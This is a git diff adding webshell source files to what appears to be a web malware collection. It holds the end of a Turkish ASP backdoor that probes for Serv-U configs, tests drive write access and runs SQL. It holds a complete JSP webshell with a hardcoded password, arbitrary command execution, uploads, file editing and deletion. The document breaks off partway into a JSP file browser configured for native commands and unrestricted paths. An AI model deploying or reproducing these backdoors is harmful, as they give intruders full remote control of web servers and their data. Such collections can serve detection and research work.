        " +end sub + +sub servu_Test + dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini") + for each drive_ in objFSO.Drives + if drive_.Drivetype=2 or drive_.Drivetype=3 then + for each d_ in dosya_ + d_ = drive_.DriveLetter&":\"&d_ + if objFSO.FileExists(d_) then + response.Write "Serv-U ini file : "&d_&"" + end if + next + end if + next +end sub + +function yaziyomu(yol) + on error goto 0:on error resume next + dim sonuc__ + Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True) + MyFile.write "byzehir " + set MyFile = Nothing + if err<>0 then + sonuc__="Yazma Hakk� Yok!" + else + sonuc__="Yazma Hakk� Var!" + on error goto 0: on error resume next + objFSO.DeleteFile yol & "\test.zehir",true + if err<>0 then + sonuc__=sonuc__&"
        Silme Hakk� Yok!" + else + sonuc__=sonuc__&"
        Silme Hakk� Var!" + end if + end if + yaziyomu = sonuc__ +end function + +function yaziyomu2(yol) + on error goto 0:on error resume next + Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True) + MyFile.write "byzehir " + set MyFile = Nothing + if err<>0 then + yaziyomu2 = false + else + objFSO.DeleteFile yol & "\test.zehir" + yaziyomu2 = true + end if +end function + +sub WriteTestOnDriver + for each drive_ in objFSO.Drives + if drive_.Drivetype=2 or drive_.Drivetype=3 then + if not yaziyomu2(drive_.DriveLetter&":\") then + Response.Write ""&drive_.DriveLetter&":\yazma yetkisi yok! : ["&err.Description&"]" + else + Response.Write ""&drive_.DriveLetter&":\yazma yetkisi var!" + end if + end if + next +end sub + +sub WriteTestOnLocalPath + on error goto 0 + on error resume next + if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then + Response.Write "Local Path yazma yetkisi yok! : ["&err.Description&"]" + else + Response.Write "Local Path yazma yetkisi var!" + end if +end sub + +sub LocalPathParentFolder + on error goto 0 + on error resume next + hed_ = request.servervariables("APPL_PHYSICAL_PATH") + if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) + parhed_ = left(hed_,InStrRev(hed_,"\")) + + Set f = objFSO.GetFolder(parhed_) + Set fc = f.SubFolders + + int_fol=0 + int_fil=0 + For Each f1 In fc + int_fol=int_fol+1 + Next + + Set fc = f.files + For Each f1 In fc + int_fil=int_fil+1 + Next + + if err<>0 then + Response.Write "Local Path
        Parent FolderHata Olu�tu : ["&err.Description&"]" + else + Response.Write "Local Path
        Parent FolderFolder : "&FormatNumber(int_fol,0)&"
        File : "&FormatNumber(int_fil,0)&"" + end if +end sub + +sub LocalPathPParentFolder + on error goto 0 + on error resume next + hed_ = request.servervariables("APPL_PHYSICAL_PATH") + if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) + hed_ = left(hed_,InStrRev(hed_,"\")) + if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) + parhed_ = left(hed_,InStrRev(hed_,"\")) + + Set f = objFSO.GetFolder(parhed_) + Set fc = f.SubFolders + int_fol=0 + int_fil=0 + For Each f1 In fc + int_fol=int_fol+1 + Next + + Set fc = f.files + For Each f1 In fc + int_fil=int_fil+1 + Next + + if err<>0 then + if err=451 then + Response.Write "Local Path
        P.Parent FolderData �st Klasor Yok :)" + else + Response.Write "Local Path
        P.Parent FolderHata Olu�tu : ["&err.Description&"]" + end if + else + Response.Write "Local Path
        P.Parent FolderFolder : "&FormatNumber(int_fol,0)&"
        File : "&FormatNumber(int_fil,0)&"" + end if +end sub + +SELECT CASE status +CASE 13 'Sistem Bilgisi + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        : Sistem Bilgileri :
        Local Adres " & request.servervariables("REMOTE_ADDR") & "
        User Agent " & request.servervariables("HTTP_USER_AGENT") & "
        Server " & request.servervariables("SERVER_NAME") & "
        IP " & request.servervariables("LOCAL_ADDR") & "
        HTTPD " & request.servervariables("SERVER_SOFTWARE") & "
        Port " & request.servervariables("SERVER_PORT") & "
        Yol " & request.servervariables("APPL_PHYSICAL_PATH") & "
        Log Root " & request.servervariables("APPL_MD_PATH") & "
        HTTPS " & request.servervariables("HTTPS") & "
        " + popup = false +CASE 14 'Upload and Search + aramaUpload + popup = false + hataKontrol +CASE 15 'Ms. SQL Server + Response.Write "
        " + Response.Write "
        SQL Server i�in connection string giriniz
        " + Response.Write "" + Response.Write "
        " + response.Write "" + Response.Write "
        " + response.Write "
        " + + popup = false + hataKontrol +CASE 16 'file Copy window + Response.Write "
        " + Response.Write "
        Kop. Yer : " + Response.Write "" + Response.Write "" + response.Write "" + Response.Write "
        " + response.Write "Kopyala" + response.Write "Tasi" + response.Write "
        " + response.Write "
        " + + popup = false + hataKontrol +CASE 17 'file Copy + isl = "" + if islem="kopyala" then + objFSO.CopyFile path,cf + isl="kopyaland�.." + elseif islem="tasi" then + objFSO.MoveFile path,cf + isl="ta��nd�.." + end if + response.Write "Dosya "&isl + response.Write "
        Kaynak : "&path&"
        Hedef : "&cf + response.Write "
        " + popup = false + hataKontrol +CASE 18 'folder Copy window + Response.Write "
        " + Response.Write "
        Kop. Yer : " + Response.Write "" + Response.Write "" + response.Write "" + Response.Write "
        " + response.Write "Kopyala" + response.Write "Tasi" + response.Write "
        " + response.Write "
        " + + popup = false + hataKontrol +CASE 19 'folder Copy + isl = "" + if islem="kopyala" then + objFSO.CopyFolder path,cf + isl="kopyaland�.." + elseif islem="tasi" then + objFSO.MoveFolder path,cf + isl="ta��nd�.." + end if + response.Write "Klasor "&isl + response.Write "
        Kaynak : "&path&"
        Hedef : "&cf + response.Write "
        " + popup = false + hataKontrol +CASE 33 'Powered By + response.Write "

        Powered by Zehir" + response.Write "

        zehirhacker@hotmail.com
        k�ll� nefsun zaifetun mevt" + popup = false + hataKontrol +CASE 40 'Sistem Test + sistemTest + popup=false +CASE 50 'Siteleri Test Edelim :D + %> + + + + +
        + G�venlik Testi byZehir +
        +
        + + + + + + + + + + + + + + + + + + + + +
        Path +
        Sub Folder +
        File Name +
        + + + + + +
        + index.htm
        + default.htm
        +
        + index.asp
        + default.asp
        +
        +
        + Kes + Kopyala + Yap��t�r + Bold + Italic + UnderLine + JustifyLeft + JustifyCenter + JustifyRight + AddLink + AddImage + + + + + + + + +
        +
        +
        + <% + popup=false +CASE 51 ' �zel �ilemler +END SELECT +%> + + +<% +if popup then + if status=7 or status=8 then + Response.Write "
        " + Response.Write "
        SQL �al��t�r" + Response.Write "" + Response.Write "" + Response.Write "
        " + end if + Response.Write "
        " + Response.Write "
        Path : " + Response.Write "" + Response.Write "" + Response.Write "

        " +end if +sub aramaUpload +Response.Write "
        " +Response.Write "
        Arama : " +Response.Write " " +Response.Write "" +Response.Write "
        " +%> +
        " ID="Form1"> + +Max: + + + + +
        +
        + +
        + +<% +end sub + +SELECT CASE status +CASE 1 'Driver Open + if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path)) + Response.Write "" + Path = Path & ":/" + Response.Write "" + hataKontrol +CASE 2 'Normal listeleme + if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path)) + Response.Write "
        " + KlasorOku + Response.Write "" + DosyaOku + Response.Write "
        " + Response.Write "" + hataKontrol +CASE 3 'File Delete + objFSO.DeleteFile del + hataKontrol + if err<>0 then + byMsg="Not File Deleted!
        " + else + byMsg="File Deleted Successful;)
        " + end if + Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg +CASE 4 'Folder Delete + objFSO.DeleteFolder del + hataKontrol + if err<>0 then + byMsg="Not Folder Deleted!
        " + else + byMsg="Folder Deleted Successful;)
        " + end if + Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg +CASE 5 'Dosya i�eri�ini g�r�nt�le + Response.Write "
        "&path&"

        " + Response.Write "
        " + KlasorOku + Response.Write "" + DosyaOku + Response.Write "
        " + set f = objFSO.OpenTextFile(path,1) + Response.Write "
        "&Server.HTMLEncode(f.readAll)&"
        " + if err<>62 then hataKontrol + if err.number=62 then Response.Write "":Response.End +CASE 6 'Resim a� + Response.Write "
        zehirhacker@hotmail.com / zehirhacker@hotmail.com

        " +CASE 7 'database tablo listele + Response.Write "Tablolar

        " + Set objConn = Server.CreateObject("ADODB.Connection") + Set objADOX = Server.CreateObject("ADOX.Catalog") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Path + objConn.Open + objADOX.ActiveConnection = objConn + + For Each table in objADOX.Tables + If table.Type = "TABLE" Then + Response.Write "4 "&table.Name&"
        " + End If + Next + hataKontrol +CASE 8 'database kay�t listele + Set objConn = Server.CreateObject("ADODB.Connection") + Set objRcs = Server.CreateObject("ADODB.RecordSet") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Path + objConn.Open + objRcs.Open table,objConn, adOpenKeyset , , adCmdText + + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + do while not objRcs.EOF + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + objRcs.MoveNext + loop + Response.Write "
           "&objRcs.Fields(i).Name&"   
        "&objRcs.Fields(i).Value&" 

        " + hataKontrol +CASE 9 'SQL Execute + Set objConn = Server.CreateObject("ADODB.Connection") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Path + objConn.Open + objConn.Execute strSQL +' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time + hataKontrol +CASE 10 'Dosya Editleme + set f = objFSO.OpenTextFile(dPath,1) + Response.Write "
        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        " + Response.Write "
        " + hataKontrol +CASE 11 'Dosya Kay�t + set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false) + hataKontrol + saveTextFile.Write(dkayit) + saveTextFile.close + if err<>0 then + byMsg = "Not File Edited!
        " + else + byMsg = "File Edited Successful:)
        " + end if + Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time&"&byMsg=" & byMsg +CASE 12 'Dosya Arama + araBul path,arama + hataKontrol +END SELECT +Response.Write "
        " + +sub DosyaOku + Set f = objFSO.GetFolder(Path) + Set fc = f.Files + For Each f1 In fc + dosyaAdi = f1.name + num = InStrRev(dosyaAdi,".") + uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num)) + downStr = "4" + response.Write "" + select case uzanti + case "mdb" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&"
        M "&downStr&"
        " + case "asp" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&"
        !"&downStr&"
        " + case "jpg","gif" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" "&downStr&"
        " + case else + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" 2 !"&downStr&"
        " + end select + Next +end sub + +sub KlasorOku + Set f = objFSO.GetFolder(Path) + Set fc = f.SubFolders + if session("klasoroku")="" then + response.Write "" + session("klasoroku")="simdi yaz�l�yor" + end if + For Each f1 In fc + Response.Write "4 1"&f1.name&"
        " + Next +end sub + +function createFileName() +Randomize + fName_ = "" + for i=1 to 10 + fName_ = fName_ & int(Rnd*100) + next + createFileName = fName_ +end function + +function resimYol(path_) +on error resume next + path_ = Replace(Replace(path_,"\","/"),"//","/") + lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\")) + if yaziyomu2(lpath_) then + fname__ = "0"&createFileName()&"."&Right(path_,3) + objFSO.CopyFile path_, lpath_&"\"&fname__ + else + Response.Write("Resim A��lam�yor..
        �sterseniz Download Ederek g�r�nt�leyebilirsiniz..") + end if + resimYol = fname__ +end function + +if not popup then + Set fc = Nothing + Set objFSO = Nothing + Response.End +end if +%> + + <% + Response.Write "" + for each drive_ in objFSO.Drives + Response.Write "" + next + Response.Write "" + Response.Write "
        S�r�c�ler
        " + Response.write ";" + if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]" + Response.Write "
        " + Response.write "H Local Path" + Response.Write "

        " +Set fc = Nothing +Set objFSO = Nothing +Response.End%> + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/JSP/JspWebshell 1.2.jsp b/web-malware-collection-master/Backdoors/JSP/JspWebshell 1.2.jsp new file mode 100755 index 0000000..37e063a --- /dev/null +++ b/web-malware-collection-master/Backdoors/JSP/JspWebshell 1.2.jsp @@ -0,0 +1,788 @@ +<%@ page contentType="text/html; charset=GBK" language="java" import="java.sql.*,java.io.File,java.io.*,java.nio.charset.Charset,java.io.IOException,java.util.*" errorPage="" %> +<% +/** + *

        Title:JspWebshell

        + * + *

        Description: jsp��վ����

        + * + *

        Copyright:�������[B.C.T] Copyright (c) 2006

        + * + *

        Company: zero.cnbct.org

        + * PS:��������С�ܴ�����Ȥ��д��������������ϵQQ:48124012 + * @version 1.2 + */ + String path=""; + String selfName=""; + boolean copyfinish=false; +%> +<% selfName=request.getRequestURI(); + // String editfile=""; + String editfile=request.getParameter("editfile"); + if (editfile!=null) + {editfile=new String(editfile.getBytes("ISO8859_1")); + } + path=request.getParameter("path"); + if(path==null) + path=config.getServletContext().getRealPath("/"); +%> +<%! + String _password ="111";//���� + public String readAllFile(String filePathName) throws IOException + { + FileReader fr = new FileReader(filePathName); + int count = fr.read(); + String res=""; + while(count != -1) + { + //System.out.print((char)count); + res=res+(char)count; + count = fr.read(); + if(count == 13) + { + fr.skip(1); + } + } + fr.close(); + return res; + } +public void writeFile(String filePathName,String args) throws IOException +{ +FileWriter fw = new FileWriter(filePathName); +PrintWriter out=new PrintWriter(fw); +out.write(args); +out.println(); +out.flush(); +fw.close(); +out.close(); +} +public boolean createFile(String filePathName) throws IOException +{ +boolean result = false; +File file = new File(filePathName); +if(file.exists()) +{ +System.out.println("�ļ��Ѿ����ڣ�"); +} +else +{ +file.createNewFile(); +result = true; +System.out.println("�ļ��Ѿ�������"); +} +return result; +} +public boolean createFolder(String fileFolderName) +{ +boolean result = false; +try +{ +File file = new File(fileFolderName); +if(file.exists()) +{ +//file.delete(); +System.out.println("Ŀ¼�Ѿ�����!"); +result = true; +} +else +{ +file.mkdir(); +System.out.println("Ŀ¼�Ѿ�����!"); +result = true; +} +} +catch(Exception ex) +{ +result = false; +System.out.println("CreateAndDeleteFolder is error:"+ex); +} +return result; +} + +public boolean DeleteFolder(String filefolderName) +{ +boolean result = false; +try +{ +File file = new File(filefolderName); +if(file.exists()) +{ +file.delete(); +System.out.println("Ŀ¼��ɾ��!"); +result = true; +} +} +catch(Exception ex) +{ +result = false; +System.out.println("CreateAndDeleteFolder is error:"+ex); +} +return result; +} +public boolean validate(String password) { + if (password.equals(_password)) { + return true; + } else { + return false; + } +} +public String HTMLEncode(String str) { + str = str.replaceAll(" ", " "); + str = str.replaceAll("<", "<"); + str = str.replaceAll(">", ">"); + str = str.replaceAll("\r\n", "
        "); + + return str; +} + public String exeCmd(String cmd) { + Runtime runtime = Runtime.getRuntime(); + Process proc = null; + String retStr = ""; + InputStreamReader insReader = null; + char[] tmpBuffer = new char[1024]; + int nRet = 0; + + try { + proc = runtime.exec(cmd); + insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); + while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) { + retStr += new String(tmpBuffer, 0, nRet); + } + + insReader.close(); + retStr = HTMLEncode(retStr); + } catch (Exception e) { + retStr = "�������\"" + cmd + "\""; + } finally { + return retStr; + } + } + public boolean fileCopy(String srcPath, String dstPath) { + boolean bRet = true; + + try { + FileInputStream in = new FileInputStream(new File(srcPath)); + FileOutputStream out = new FileOutputStream(new File(dstPath)); + byte[] buffer = new byte[1024]; + int nBytes; + + + while ((nBytes = in.read(buffer, 0, 1024)) != -1) { + out.write(buffer, 0, nBytes); + } + + in.close(); + out.close(); + } catch (IOException e) { + bRet = false; + } + + return bRet; +} +class EnvServlet +{ + public long timeUse=0; + public Hashtable htParam=new Hashtable(); + private Hashtable htShowMsg=new Hashtable(); + public void setHashtable() + { + Properties me=System.getProperties(); + Enumeration em=me.propertyNames(); + while(em.hasMoreElements()) + { + String strKey=(String)em.nextElement(); + String strValue=me.getProperty(strKey); + htParam.put(strKey,strValue); + } + } + public void getHashtable(String strQuery) + { + Enumeration em=htParam.keys(); + while(em.hasMoreElements()) + { + String strKey=(String)em.nextElement(); + String strValue=new String(); + if(strKey.indexOf(strQuery,0)>=0) + { + strValue=(String)htParam.get(strKey); + htShowMsg.put(strKey,strValue); + } + } + } + public String queryHashtable(String strKey) + { + strKey=(String)htParam.get(strKey); + return strKey; + } +/* public long test_int() + { + long timeStart = System.currentTimeMillis(); + int i=0; + while(i<3000000)i++; + long timeEnd = System.currentTimeMillis(); + long timeUse=timeEnd-timeStart; + return timeUse; + } + public long test_sqrt() + { + long timeStart = System.currentTimeMillis(); + int i=0; + double db=(double)new Random().nextInt(1000); + while(i<200000){db=Math.sqrt(db);i++;} + long timeEnd = System.currentTimeMillis(); + long timeUse=timeEnd-timeStart; + return timeUse; + }*/ +} +%> +<% + EnvServlet env=new EnvServlet(); + env.setHashtable(); + //String action=new String(" "); + //String act=new String("action"); + //if(request.getQueryString()!=null&&request.getQueryString().indexOf(act,0)>=0)action=request.getParameter(act); +%> + + + + +JspWebShell By ������� + + + + +<% +//session.setMaxInactiveInterval(_sessionOutTime * 60); +String password=request.getParameter("password"); +if (password == null && session.getAttribute("password") == null) { + +%> + +
        + + + + +
        + + + + + + + + + +
         8JspWebShell + version 1.2������¼ :::...Power By + �������
        + + +
        +
        +<% + + } else { + + if (session.getAttribute("password") == null) { + + if (validate(password) == false) { + out.println("
      • �������
      • "); + out.close(); + return; + } + + session.setAttribute("password", password); + } else { + password = (String)session.getAttribute("password"); + } +%> + <% + File tmpFile = null; + String delfile=""; + String delfile1=""; + String editpath=""; + delfile1=request.getParameter("delfile"); + editpath=request.getParameter("filepath"); + if (delfile1!=null) + {delfile=new String(delfile1.getBytes("ISO8859_1")); + } + if ( delfile1!= null) { + // out.print(delfile); + tmpFile = new File(delfile); + if (! tmpFile.delete()) { + out.print( "ɾ��ʧ��
        \n"); + } + } +%> + <%String editfilecontent=null; + String editfilecontent1=request.getParameter("content"); + // out.println(editfilecontent1); + //String save=request.getParameter("save"); + if (editfilecontent1!=null) + {editfilecontent=new String(editfilecontent1.getBytes("ISO8859_1"));} + // out.print(editfile); + //out.print(editfilecontent); + if (editfile!=null&editfilecontent!=null) + {try {writeFile(editfile,editfilecontent);} + catch (Exception e) {out.print("д��ʧ��");} + out.print("д��ɹ�"); + } + %> +<%request.setCharacterEncoding("GBK");%> +<%//String editfile=request.getParameter("editfile"); +//out.print(editfile); +if (request.getParameter("jsptz")!=null) +{%> +
        +
        + + + + + + + +
        ��������ز��� +
        +
        + + + + + + + +
        JAVA��ز��� +
        +
        +
        +
        + +<%} +else{ +if (editfile!=null)//if edit +{ +%> +
        + + + + +
        +

        ��ַ�� + +

        +

        + + +

        +
        +

         

        +<%} +else{%> + + + + + + + + + + + + <%=path1%>" ENCTYPE="multipart/form-data"> + + + + + + <% String fileexe=""; + String dir=""; + String deldir=""; + String scrfile=""; + String dstfile=""; + fileexe=request.getParameter("fileexe"); + dir=request.getParameter("dir"); + deldir=request.getParameter("deldir"); + scrfile=request.getParameter("scrfile"); + dstfile=request.getParameter("dstfile"); + if (fileexe!=null) + { + //out.print(path+fileexe); + createFile(path+fileexe); + } + if (dir!=null) + { + //out.print(path+dir); + createFolder(path+dir); + } + if (deldir!=null) + { + //out.print(deldir); + DeleteFolder(deldir); + } + if (scrfile!=null&dstfile!=null) + { + //out.print(scrfile); + //out.print(dstfile); + copyfinish=fileCopy(scrfile, dstfile) ; + } + %> + + + + + + <%//�ϴ� + String tempfilename=""; + String up=request.getParameter("up"); + // String tempfilepath=request.getParameter("filepath"); + // out.print(tempfilepath); + if(up!=null) + { + tempfilename=(String)session.getId(); + //String tempfilename=request.getParameter("file"); + File f1=new File(tempfilepath,tempfilename); + int n; + try + { + InputStream in=request.getInputStream(); + BufferedInputStream my_in=new BufferedInputStream(in); + FileOutputStream fout=new FileOutputStream(f1); + BufferedOutputStream my_out=new BufferedOutputStream(fout); + byte[] b=new byte[10000]; + while((n=my_in.read(b))!=-1) + { + my_out.write(b,0,n); + } + my_out.flush(); + my_out.close(); + fout.close(); + my_in.close(); + in.close(); + // out.print("�ļ������ɹ�!
        "); + } + catch(IOException e) + { + out.print("�ļ�����ʧ��!"); + } + + try + { + RandomAccessFile random1=new RandomAccessFile(f1,"r"); + random1.readLine(); + String filename=random1.readLine(); + byte[] b=filename.getBytes("ISO-8859-1"); + filename=new String(b); + int pointer=filename.lastIndexOf('\\'); + filename=filename.substring(pointer+1,filename.length()-1); + File f2=new File(tempfilepath,filename); + RandomAccessFile random2=new RandomAccessFile(f2,"rw"); + random1.seek(0); + for(int i=1; i<=4; i++) + { + String tempstr=random1.readLine(); + } + long startPoint=random1.getFilePointer(); + random1.seek(random1.length()); + long mark=random1.getFilePointer(); + int j=0; + long endPoint=0; + while((mark>=0)&&(j<=5)) + { + mark--; + random1.seek(mark); + n=random1.readByte(); + if(n=='\n') + + { + j++; + endPoint=random1.getFilePointer(); + } + } + long length=endPoint-startPoint+1; + int order=(int)(length/10000); + int left=(int)(length%10000); + byte[] c=new byte[10000]; + random1.seek(startPoint); + for(int i=0; i + + + + +
        JspWebShell + version 1.0(��վĿ¼:<%=config.getServletContext().getRealPath("/")%>)
        + <% + File[] fs = File.listRoots(); + for (int i = 0; i < fs.length; i++){ + %> + ���ش���(<%=fs[i].getPath()%>) + + <%}%> +
        +
        + + +
        +

        + <% + String cmd = ""; + InputStream ins = null; + String result = ""; + if (request.getParameter("command") != null) { + cmd = (String)request.getParameter("command");result = exeCmd(cmd);%> + <%=result == "" ? " " : result%> + <%}%> +

        + JSP̽��
        + ������� + + +
        + ����� + + +
        + �ļ� + ���Ƶ� + + +
        <%if(copyfinish==true) out.print("���Ƴɹ�");%>
        + <% try { + //path=request.getParameter("path"); + //if(path==null) + //path=config.getServletContext().getRealPath("/"); + File f=new File(path); + File[] fList= f.listFiles() ; + for (int j=0;j + <%=fList[j].getName()%>     ɾ��
        + <% } + + }//for + } catch (Exception e) { + System.out.println("�����ڻ�û��Ȩ��"); + } + %> +  
        + <% try { + path=request.getParameter("path"); + if(path==null) + path=config.getServletContext().getRealPath("/"); + File f=new File(path); + File[] fList= f.listFiles() ; + for (int j=0;j + <%=fList[j].getName()%> + <%=path%>&editfile=<%=path%><%=fList[j].getName()%>" target="_blank">�༭ +   ɾ��
        + <% } + }//for + } catch (Exception e) { + System.out.println("�����ڻ�û��Ȩ��"); + } + %> +
        +

        Power By �������[B.C.T] QQ:48124012

        +

         

        +<%}//if edit +} +} +%> + + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/JSP/browser.jsp b/web-malware-collection-master/Backdoors/JSP/browser.jsp new file mode 100755 index 0000000..2a1003a --- /dev/null +++ b/web-malware-collection-master/Backdoors/JSP/browser.jsp @@ -0,0 +1,1802 @@ +<%-- + jsp File browser 1.1a + Copyright (C) 2003,2004, Boris von Loesch + This program is free software; you can redistribute it and/or modify it under + the terms of the GNU General Public License as published by the + Free Software Foundation; either version 2 of the License, or (at your option) + any later version. + This program is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + You should have received a copy of the GNU General Public License along with + this program; if not, write to the + Free Software Foundation, Inc., + 59 Temple Place, Suite 330, + Boston, MA 02111-1307 USA + - Description: jsp File browser v1.1a -- This JSP program allows remote web-based + file access and manipulation. You can copy, create, move and delete files. + Text files can be edited and groups of files and folders can be downloaded + as a single zip file that's created on the fly. + - Credits: Taylor Bastien, David Levine, David Cowan, Lieven Govaerts +--%> +<%@page import="java.util.*, + java.net.*, + java.text.*, + java.util.zip.*, + java.io.*" +%> +<%! + //FEATURES + private static final boolean NATIVE_COMMANDS = true; + + //Allow browsing and file manipulation only in certain directories + private static final boolean RESTRICT_BROWSING = false; + //If true, the user is allowed to browse only in RESTRICT_PATH, + //if false, the user is allowed to browse all directories besides RESTRICT_PATH + private static final boolean RESTRICT_WHITELIST = false; + //Paths, sperated by semicolon + //private static final String RESTRICT_PATH = "C:\\CODE;E:\\"; //Win32: Case important!! + private static final String RESTRICT_PATH = "/etc;/var"; + + //The refresh time in seconds of the upload monitor window + private static final int UPLOAD_MONITOR_REFRESH = 2; + //The number of colums for the edit field + private static final int EDITFIELD_COLS = 85; + //The number of rows for the edit field + private static final int EDITFIELD_ROWS = 30; + //Open a new window to view a file + private static final boolean USE_POPUP = true; + /** + * If USE_DIR_PREVIEW = true, then for every directory a tooltip will be + * created (hold the mouse over the link) with the first DIR_PREVIEW_NUMBER entries. + * This can yield to performance issues. Turn it of, if the directory loads to slow. + */ + private static final boolean USE_DIR_PREVIEW = true; + private static final int DIR_PREVIEW_NUMBER = 10; + /** + * The name of an optional CSS Stylesheet file + */ + private static final String CSS_NAME = "Browser.css"; + /** + * The compression level for zip file creation (0-9) + * 0 = No compression + * 1 = Standard compression (Very fast) + * ... + * 9 = Best compression (Very slow) + */ + private static final int COMPRESSION_LEVEL = 1; + /** + * The FORBIDDEN_DRIVES are not displayed on the list. This can be usefull, if the + * server runs on a windows platform, to avoid a message box, if you try to access + * an empty removable drive (See KNOWN BUGS in Readme.txt). + */ + private static final String[] FORBIDDEN_DRIVES = {"a:\\"}; + + /** + * Command of the shell interpreter and the parameter to run a programm + */ + private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows + //private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix + + /** + * Max time in ms a process is allowed to run, before it will be terminated + */ + private static final long MAX_PROCESS_RUNNING_TIME = 30 * 1000; //30 seconds + + //Button names + private static final String SAVE_AS_ZIP = "Download selected files as zip"; + private static final String RENAME_FILE = "Rename File"; + private static final String DELETE_FILES = "Delete selected files"; + private static final String CREATE_DIR = "Create Dir"; + private static final String CREATE_FILE = "Create File"; + private static final String MOVE_FILES = "Move Files"; + private static final String COPY_FILES = "Copy Files"; + + //Normally you should not change anything after this line + //---------------------------------------------------------------------------------- + //Change this to locate the tempfile directory for upload (not longer needed) + private static String tempdir = "."; + private static String VERSION_NR = "1.1a"; + private static DateFormat dateFormat = DateFormat.getDateTimeInstance(); + + public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } + } + + public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } + } + + // A Class with methods used to process a ServletInputStream + public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + 